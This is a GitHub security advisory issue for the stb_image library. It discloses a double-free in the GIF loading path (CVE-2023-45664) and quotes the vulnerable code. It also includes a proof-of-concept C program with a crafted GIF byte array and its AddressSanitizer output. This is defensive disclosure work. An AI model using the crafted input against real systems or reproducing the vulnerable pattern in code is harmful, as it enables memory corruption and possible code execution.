nothings / stb

stb single-file public domain libraries for C/C++
https://twitter.com/nothings
Other
25.83k stars 7.66k forks source link

Double-free in `stbi__load_gif_main_outofmem` (`GHSL-2023-148/CVE-2023-45664`) #1544

Open JarLob opened 8 months ago

JarLob commented 8 months ago

A crafted image file can trigger stbi__load_gif_main_outofmem attempt to double-free the out variable. [1]

static void *stbi__load_gif_main_outofmem(stbi__gif *g, stbi_uc *out, int **delays)
{
   STBI_FREE(g->out);
   STBI_FREE(g->history);
   STBI_FREE(g->background);

   if (out) STBI_FREE(out); // [1] Double-free
   if (delays && *delays) STBI_FREE(*delays);
   return stbi__errpuc("outofmem", "Out of memory");
}

This happens in stbi__load_gif_main because when the layers * stride is zero [2] the behavior is implementation defined, but common that realloc frees the old memory and returns null pointer. Since it attempts to double-free the memory [3] a few lines below the first "free" [2], the issue can be potentially exploited only in a multi-threaded environment.

...
 void *tmp = (stbi_uc*) STBI_REALLOC_SIZED( out, out_size, layers * stride ); // [2]
 if (!tmp)
    return stbi__load_gif_main_outofmem(&g, out, delays); // [3]
...

Impact

This issue may lead to code execution.

Resources

To reproduce the issue:

  1. Make ASAN build of the following program:
#include <stdint.h>
#define STB_IMAGE_IMPLEMENTATION
#include "../stb_image.h"

int main(int argc, char* argv[])
{
    const uint8_t data[] = {0x47,0x49,0x46,0x38,0x39,0x61,0x00,0x00,0x00,0x00,0xf8,0x0a,0xdc,
                            0x04,0xfc,0x00,0x46,0x00,0x00,0x2c,0x00,0x00,0x00,0x00,0x00,0x00,
                            0x00,0x00,0x46,0x00,0x00,0x2c,0x00,0x00};
    size_t size = sizeof(data);

    int x, y, z, channels;
    stbi_uc *img = stbi_load_gif_from_memory(data, size, NULL, &x, &y, &z, &channels, 4);
    stbi_image_free(img);
    return 0;
}
  1. Run the program to hit the error.
==145841==ERROR: AddressSanitizer: attempting double-free on 0x602000000070 in thread T0:
    #0 0x49e522 in free /src/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:52:3
    #1 0x4eb732 in stbi__load_gif_main_outofmem(stbi__gif*, unsigned char*, int**) tests/../stb_image.h:6957:13
    #2 0x4df18f in stbi__load_gif_main(stbi__context*, int**, int*, int*, int*, int*, int) tests/../stb_image.h:6995:26
    #3 0x4de8bd in stbi_load_gif_from_memory tests/../stb_image.h:1448:30